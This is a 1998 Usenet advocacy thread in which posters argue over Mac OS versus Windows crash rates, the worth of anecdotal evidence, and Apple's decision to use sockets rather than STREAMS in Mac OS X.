Message-ID: <MPG.10321eb769aae73e989770@news.itg.ti.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <MPG.1031337181046cef98976e@news.itg.ti.com> <joe.ragosta-0508980752510001@wil62.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> In article <MPG.1031337181046cef98976e@news.itg.ti.com>, jmcn@msg.ti.com
> (Jason McNorton) wrote:
>
> > In article Joe Ragosta, joe.ragosta@dol.net says...
> > > I want some evidence from the REAL WORLD (perhaps you've heard of it). As
> > > soon as you can show that Mac OS fails more often than Win95 and that Mac
> > > OS causes more data loss (per capita) than Win95, you'll win the argument.
> >
> > The problem is I don't think there are any studies on this subject to be
> > found. All anyone can go on then is personal experience. In my case,
> > Macs have been far more crashy than Windows. Until a study proves me
> > wrong, I'm correct.
>
> Sorry, it doesn't work that way.
>
> If you want to make an assertion, you need to back it up. Until you can
> back up your assertion, it's neither correct nor incorrect--just
> completely unfounded.
Good, so you can't claim that Win95 crashes anymore than a Mac then.
Date: Wed, 05 Aug 1998 10:17:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0508981017570001@wil65.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <MPG.1031337181046cef98976e@news.itg.ti.com> <joe.ragosta-0508980752510001@wil62.dol.net> <MPG.10321eb769aae73e989770@news.itg.ti.com>
In article <MPG.10321eb769aae73e989770@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > In article <MPG.1031337181046cef98976e@news.itg.ti.com>, jmcn@msg.ti.com
> > (Jason McNorton) wrote:
> >
> > > In article Joe Ragosta, joe.ragosta@dol.net says...
> > > > I want some evidence from the REAL WORLD (perhaps you've heard of
it). As
> > > > soon as you can show that Mac OS fails more often than Win95 and
that Mac
> > > > OS causes more data loss (per capita) than Win95, you'll win the
argument.
> > >
> > > The problem is I don't think there are any studies on this subject to be
> > > found. All anyone can go on then is personal experience. In my case,
> > > Macs have been far more crashy than Windows. Until a study proves me
> > > wrong, I'm correct.
> >
> > Sorry, it doesn't work that way.
> >
> > If you want to make an assertion, you need to back it up. Until you can
> > back up your assertion, it's neither correct nor incorrect--just
> > completely unfounded.
>
>
> Good, so you can't claim that Win95 crashes anymore than a Mac then.
Nope. And I never claimed that it does (on average).
Nice straw man.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 5 Aug 1998 14:40:41 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q9qt9$cvg$1@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> And my experience is completely different. My Mac almost never crashes,
> while I had NT going down a couple of times a day.
>
> Which is why I don't trust anecdotal evidence. As soon as you can provide
> data from an independent third party who did a reasonable comparison, it
> will be valid.
The sheer amount of anecdotal evidence on this starts to get significant in
my opinion. Some people say similarly for admin tools. The fact is, that
there will always be a segment that bombs more than usual, and less than
usual. That you fall in the latter camp probably speaks well for your
ability to put up a system, and maintain it. However, the average grog seems
to experience consistently more bombs on the mac than on win95. This
"stereotype" didn't just spontaneously generate itself. It is manifest from
something. Likely there is some truth to it. I don't think it's that bad an
evil when you consider just how ancient the macUI underpinnings are.
Anyhow, in general principle, I do agree with you. Anecdotal evidence is
just that, anecdotal. But if the sheer number of anecdotes goes up to a
general industry perception, then there's something to it, and to ignore it
is to be willfully blind. We don't have to commission a study on every
little thing to prove that thing is so. I doubt there was ever a
comprehensive study on what tastes better, rhino dung or a great manhatten
cheese cake, and I don't know the answer for a certainty haven partaken only
of great manhatten cheese cake, but I know where I'm placing my bets; even
without an indepth study on it. YMMV.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 09:00:58 -0600
Organization: Prairie Group
Message-ID: <don.brown-0508980900580001@dsm-ia1-05.ix.netcom.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7kmh$bro$1@nnrp1.dejanews.com> <6q7ppb$oae$1@nnrp1.dejanews.com> <6q8q1g$fd$1@halcyon.com>
In article <6q8q1g$fd$1@halcyon.com>, tzs@halcyon.com (Tim Smith) wrote:
>In article <6q7ppb$oae$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>>> void main ()
>>> {
>>> strcpy((char *)0);
>>> }
>>>
>>> the app will fail silently since the toolbox was never initialized. You need
>>> that to happen before ANYTHING useful comes out of it.
>>
>>Nope, you don't need to initialize the toolbox unless you make some toolbox
>>calls. Also, your call to strcpy needs a second parameter.
>
>It's remotely possible that strcpy uses the toolbox. On systems (I
>don't know if PPC is one), a good way to implement strcpy is to first
>find the length of the string, and then copy it. (This can be fast, if
>it is safe to read past the end of the source string, because you can
>use tricks that let you scan the string 4 bytes at a time, and then once
>you know the size, you can use an optimized move). If your C library
>implements strcpy that way, the copy part might well be a call to
>BlockMove.
In Metrowerks and every other implementation I've seen, strcpy is part of
a standard C library (MSL for Metrowerks) that can be used in console apps
or other non-toolbox apps. No traps there.
(Plus, I don't think BlockMove needs the various toolboxes initialized.)
Donald
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Junking STREAMS?
Date: Wed, 05 Aug 1998 10:40:42 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35C87CFA.CEAE0167@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Apple (Steve Jobs and Avie Tevanian) reportedly are rejecting Open
Transport's flexible, industry-standard STREAMS architecture for Mac OS
X, despite overwhelming developer opinion that it is the best technical
approach.
Is this really happening?
(Reminds me of Micro$oft. We can do it better than others. So much for
using a standard....and people stand around the Mac.advocacy and wonder
why Apple has a Niche status.)
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 5 Aug 1998 10:09:36 -0500
Organization: Texas Instruments
Message-ID: <MPG.103231a8f8d1c898989771@news.itg.ti.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <MPG.1031337181046cef98976e@news.itg.ti.com> <joe.ragosta-0508980752510001@wil62.dol.net> <MPG.10321eb769aae73e989770@news.itg.ti.com> <joe.ragosta-0508981017570001@wil65.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> Nope. And I never claimed that it does (on average).
>
> Nice straw man.
^^^^^^^^^^^^^^
Will someone out there PLEASE restart the Ragosta bot? It's stuck on
this line again..
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A couple of predictions
Date: 5 Aug 1998 16:07:34 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qa006$c0q$1@nnrp02.primenet.com>
References: <6q7s77$spj@newsb.netnews.att.com> <35c8ccc6.7074422@198.0.0.100>
nate <nhughes@sunflower.com> wrote:
: Have you ever used NT5? I've had the chance to spend some time behind
: a system running NT5 Beta 2 and it just plain rocks. It is already
: stable (very) and FAST. I wish M$ would hurry up and get it on the
: shelves. I always thought the people waiting outside of Computer City
: at midnight waiting to buy 95 and 98 were sorta nutty, but I'll be in
: line at midnight to buy NT5. Trust me, until you see it running, you
: have NO idea just how great it is.
I haven't run NT5. As I scanned the features I didn't really see
anything I _had_ to have. If you can point out some fun stuff I might
give it a try (we have a beta in the office).
I can't say for sure that NT5 is ready to topple from it's own complexity,
but I run NT4 daily and see enough strangeness that I think it is at least
possible. Case in point: as I type this my "recycle bin" icon on the
desktop has the shape of a recycle bin, but contians the bitmap of an
Excel document (It's been that wa a couple days). I have to wonder how
things like that can happen. It would seem to me that the system has
flubbed a resource reference, and rather than posting an error, is happliy
using the wrong icon resource. It is kind of scarry when a system
gradually looses it's mind this way, and I wonder what would happen if it
flubbed a more important resource.
I'm running NT4 Workstation + Service Pack 3 + IE4 in the merged
OS/Browser "Active Desktop" mode.
John
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A couple of predictions
Date: 5 Aug 1998 16:07:03 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6q9vv7$6ua$6@news.spacelab.net>
References: <6q7s77$spj@newsb.netnews.att.com> <35c8ccc6.7074422@198.0.0.100>
nhughes@sunflower.com (nate) wrote:
[ ... ]
>Just imagine, a consumer computer with multiple monitors, multiple
>CPUs, REAL multitasking, REAL protected memory, Real Multi User
>support and all the software. Plug and Play too. Oh, did I mention
>you can buy systems to run it on from more than just one manufacturer?
Been doing so since around 1990. To be fair, I should note that NEXTSTEP's
multiprocessor support was NUMA, not SMP, but there are damned few symmetric
multiprocessor workstation machines around today, much less nearly a decade
ago.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 5 Aug 1998 16:15:02 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qa0e6$hns$1@lwnws01.ne.highway1.com>
References: <35C87CFA.CEAE0167@milestonerdl.com>
m rassbach <mark@milestonerdl.com> wrote:
> Apple (Steve Jobs and Avie Tevanian) reportedly are rejecting Open
> Transport's flexible, industry-standard STREAMS architecture for Mac OS
> X, despite overwhelming developer opinion that it is the best technical
> approach.
>
> Is this really happening?
>
> (Reminds me of Micro$oft. We can do it better than others. So much for
> using a standard....and people stand around the Mac.advocacy and wonder
> why Apple has a Niche status.)
I thought that sockets were the standard, and that's why they are sticking
with it. Although, and arguably, streams are technically superior, the net
gains of using them, versus fighting the industry standard washes out their
use. I thought that sticking with streams would be the niche market move.
Maybe I have this wrong, but aren't sockets the widely used standard, on unix
boxes and otherwise?
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Date: Wed, 05 Aug 1998 12:16:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0508981216540001@wil47.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <MPG.1031337181046cef98976e@news.itg.ti.com> <joe.ragosta-0508980752510001@wil62.dol.net> <MPG.10321eb769aae73e989770@news.itg.ti.com> <joe.ragosta-0508981017570001@wil65.dol.net> <MPG.103231a8f8d1c898989771@news.itg.ti.com>
In article <MPG.103231a8f8d1c898989771@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
>
> > Nope. And I never claimed that it does (on average).
> >
> > Nice straw man.
> ^^^^^^^^^^^^^^
>
> Will someone out there PLEASE restart the Ragosta bot? It's stuck on
> this line again..
Maybe if you'd stop making claims and pretending that they're _my_ claims,
I wouldn't have to repeat myself.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 5 Aug 1998 09:51:55 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6qa34v$svp$1@plo.sierra.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7kmh$bro$1@nnrp1.dejanews.com> <6q7ppb$oae$1@nnrp1.dejanews.com> <6q8q1g$fd$1@halcyon.com>
NNTP-Posting-Date: 5 Aug 1998 17:01:19 GMT
Tim Smith wrote in message <6q8q1g$fd$1@halcyon.com>...
>It's remotely possible that strcpy uses the toolbox
Irrelevent. Init the toolbox or not, that strcpy to low memory will crash
MacOS, no questions asked.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A couple of predictions
Date: Wed, 5 Aug 1998 10:21:41 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6qa4sq$la$1@plo.sierra.com>
References: <6q7s77$spj@newsb.netnews.att.com> <35c8ccc6.7074422@198.0.0.100> <6qa006$c0q$1@nnrp02.primenet.com>
NNTP-Posting-Date: 5 Aug 1998 17:31:06 GMT
John Jensen wrote in message <6qa006$c0q$1@nnrp02.primenet.com>...
>
>I haven't run NT5. As I scanned the features I didn't really see
>anything I _had_ to have. If you can point out some fun stuff I might
>give it a try (we have a beta in the office).
Fun stuff? It should be able to run games that require DirectX 5. That's a
pretty good reason to upgrade.
From: schefflr@news.msus.edu (Bill Scheffler)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Date: 5 Aug 1998 17:17:31 GMT
Organization: Minesota Colleges and Universities
Message-ID: <6qa43b$56l$1@Urvile.MSUS.EDU>
John Kheit (jkheit@mediaone.net) wrote:
: The sheer amount of anecdotal evidence on this starts to get significant in
: my opinion. Some people say similarly for admin tools. The fact is, that
: there will always be a segment that bombs more than usual, and less than
: usual. That you fall in the latter camp probably speaks well for your
: ability to put up a system, and maintain it. However, the average grog seems
: to experience consistently more bombs on the mac than on win95. This
: "stereotype" didn't just spontaneously generate itself. It is manifest from
: something. Likely there is some truth to it. I don't think it's that bad an
: evil when you consider just how ancient the macUI underpinnings are.
This most likely stems from the System 7.52 to 7.6 days before
Apple "fixed" the type 10 error messages (if you ask me, it's one of the
first things they should've done in 7.53). The point is, Macs after 7.61
are quite stable. I'd say more so than Windows95 machines. But then
again, nothing is uncrashable. Gotta love the computer industry...
--
--------------------------------------------------------------------------
Bill Scheffler | "Good...Bad...I'm the guy with
163 East Snarr Hall -- (218) 236-3285 | the gun." - Ash
Moorhead State University | (Army of Darkness)
schefflr@mhd1.moorhead.msus.edu |-------------------------------
http://dragon.moorhead.msus.edu/~schefflr |-------- ICQ# 11985553 --------
--------------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ex8A3s.CLL@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: mark@milestonerdl.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com>
Mime-Version: 1.0
Date: Wed, 5 Aug 1998 18:02:15 GMT
In <35C87CFA.CEAE0167@milestonerdl.com> m rassbach wrote:
> Apple (Steve Jobs and Avie Tevanian) reportedly are rejecting Open
> Transport's flexible, industry-standard STREAMS architecture for Mac OS
> X, despite overwhelming developer opinion that it is the best technical
> approach.
>
> Is this really happening?
As far as anyone can tell, yes.
> (Reminds me of Micro$oft. We can do it better than others. So much for
> using a standard.
I think you should read up on the problem a bit more. Specifically Apple
has stated they will be using one standard, Sockets, over another, STREAMS.
Both are "industry standards" by any definition, and have about the same
level of use in the Unix market (STREAMS is used in more OS's, but that's
washed out by the massive popularity of the Sockets code base in the free
OS's).
I put a LOT of time into researching this, and from what I can tell the
plan is to use the Net/3 code from one of the 4.4FreeBSD's (free/open/net) as
the basis of the MacOS-X networking stacks, and then to layer both a
XTI-a-like and a sockets-a-like interface on top. I don't think this is very
easy to make work, and I doubt it will work well at all.
It *appears* (speculation here) that Apple is doing this in order to avoid
any licencing fees. For instance it also appears that they are rolling their
own version of the Mk7.3 kernel, rather than simply licencing the one from
OSF. Oddly if they did licence the OSF kernel, they would get STREAMS
included inside (as it's been there since the 6.x versions of this kernel).
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 18:29:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qa8a7$lvs$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>
In article <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Win95 - B+
> MacOS 6.x and earlier - C-
> MacOS 7.x - C to C+
> MacOS 8 - B
You are a very generous grader. I would have given Windows 95 a C and the
others a lesser grade. BTW, what changes between the different Mac OS versions
justifies the large range of grades.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A new winkle to the macos x flamage?
Date: 5 Aug 1998 18:50:18 GMT
Organization: http://www.judas-priest.com
Message-ID: <6qa9ha$fje@bgtnsc03.worldnet.att.net>
References: <macghod-0508981122070001@sdn-ar-001casbarp241.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Steve Sullivan wrote:
>
> Too bad macosrumors has printed things before that have terribly hurt any
> credibility they have, but this does make LOTS OF SENSE:
>
> Straight from the horse's mouth....
>
> This comes to us from a reader who had the opportunity to speak
> with an Apple Rep and shares with us, in summary, information indicative
> of what most
> Representatives are saying to customers at present:
> <snip>
>
> Mac OS X
> Almost forgot this part. I run an 8600/200, and I asked him
> about support for the new OS. He went, "Oh,
> that's not a Mach 5 (Go Speedracer!). Apple will support
> these Macs very soon after the first release of OSX.
> Your Mac will be supported by Christmas. You have to wait,
> but it will run." Comforting to say the least.
>
> Well that's about it. The G4 is slated to come out June/July
> 99, he said July/August more likely.
Cool! At least I don't have to worry about my nice new 9600/350!!!
Yahoo!
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 05 Aug 1998 18:45:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qa97l$nlo$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com> <joe.ragosta-0508980755110001@wil62.dol.net>
In article <joe.ragosta-0508980755110001@wil62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> OK. Let's look at it this way:
>
> A virus can do damage to the system. There are many more viruses for
> Windows than for the Mac. Does that inherently make Windows worse? After
> all, by your standards, there are more ways to break Windows.
In the respect, it might if I didn't have programs which can defeat viruses. I
don't mind using programs to protect me but programs can't give my Mac memory
protection. They can defeat viruses on my PC.
> The answer is, "no". Just because there are more ways to break Windows
> doesn't inherently make it bad. What matters is how reliable each system
> is in real life usage. And no one has been able to show that Win95 is
> better than the Mac in this regard.
For viruses to be a problem, your computer has to be infected by one. That is
a low probability event. Then your virus protection software has to fail. I
can't judge the probability of this.
For program bugs to be a problem, you have to have programs with bugs. This is
a high probability situation. Then your memory protection has to fail. This is
a certainty in Mac OS.
And Joe, I don't think that it is reasonable for you to expect a study
indicating that Windows 95 crashes less frequently than the Mac OS before you
except that claim as probable. I accept many facts (and I'm sure that you do
to) that are the results of theory without direct observation. If fact, direct
observation can only account for a tiny fraction of our beliefs.
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
--
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Wed, 05 Aug 1998 17:53:59 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <christian.bau-0508981753590001@christian-mac.isltd.insignia.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6q9qt9$cvg$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> The fact is, that
> there will always be a segment that bombs more than usual, and less than
> usual. That you fall in the latter camp probably speaks well for your
> ability to put up a system, and maintain it. However, the average grog seems
> to experience consistently more bombs on the mac than on win95.
My anecdotal evidence is that my neighbor bought a PC two days ago, asked
me yesterday if I could show him how to use it (should have asked me a
week earlier what computer to buy, and he probably would have a nice
Macintosh 5500/275 for much less than he paid for his PC, and I wouldnt
have to help him all the time, and it looks so much better), and it
crashed. Once in his Windows Explorer, then a few times when he tried to
start some language learning program that came with his computer from a
CD. Fortunately, rebooting solved the problem. Brand new machine, as
delivered by Packard-Bell.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c8b189.0@nnrp1.news.uk.psi.net>
Date: 5 Aug 98 19:24:57 GMT
John Kheit <jkheit@mediaone.net> wrote:
>m rassbach <mark@milestonerdl.com> wrote:
>> Apple (Steve Jobs and Avie Tevanian) reportedly are rejecting Open
>> Transport's flexible, industry-standard STREAMS architecture for Mac OS
>> X, despite overwhelming developer opinion that it is the best technical
>> approach.
>>
>> Is this really happening?
>>
>> (Reminds me of Micro$oft. We can do it better than others. So much for
>> using a standard....and people stand around the Mac.advocacy and wonder
>> why Apple has a Niche status.)
>
>I thought that sockets were the standard, and that's why they are sticking
>with it. Although, and arguably, streams are technically superior, the net
>gains of using them, versus fighting the industry standard washes out their
>use. I thought that sticking with streams would be the niche market move.
>Maybe I have this wrong, but aren't sockets the widely used standard, on unix
>boxes and otherwise?
You might be interested in a recent STREAMS thread in the linux developers newsgroup.
Seems Linux will NOT be supporting streams due to inherant performance problems with
the streams architecture. Consensus there is that streams are technically inferior
to sockets, and the streams architecture is generally being abandoned by mainstream
unix vendors.
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: What is MacOS-X Really ?
Date: 5 Aug 1998 17:48:05 GMT
Organization: Rockwell International
Message-ID: <6qa5sl$4pm1@onews.collins.rockwell.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
What is MACOS-X ?
I want to cut through the marketing and get some real definition of this
thing Apple is building.
A lot of this will be wrong and incomplete because Apple is not providing
good information. Can you help me refine the list ?
MacOS-X:
- Looks just like MacOS-8.x
- Has resource forks in HFS+ and all related incompatibilities
